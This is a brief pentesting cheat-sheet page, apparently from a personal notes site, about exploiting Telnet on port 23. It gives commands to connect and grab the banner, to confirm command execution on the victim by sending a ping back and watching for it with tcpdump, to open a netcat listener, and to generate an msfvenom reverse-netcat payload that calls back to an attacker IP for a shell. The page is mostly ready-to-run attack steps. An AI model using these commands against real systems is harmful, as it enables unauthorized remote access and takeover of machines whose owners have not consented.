> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/port-23-telnet.md). # Port 23 Telnet ## Connective with telnet May give out banner ``` telnet $IP $PORT ``` If we can not execute commands, check whether we can run system commands on the victim. Start tcp dumper locally. ``` sudo tcpdump ip proto \\icmp -i tun0 ``` Then Ping the machine from victim telnet session ``` ping $IP -c 1 ``` If we get any answer, it means, we can run commands on victim. ``` .RUN ping 10.8.64.134 -c 1 ``` So open a listener with nc. And then use the netcat reverse shell to connect to it ``` nc -lnvp 444 ``` Now create a netcat payload with msfvenom and use that to get the shell ``` msfvenom -p cmd/unix/reverse_netcat LHOST=10.8.64.134 LPORT=444 ```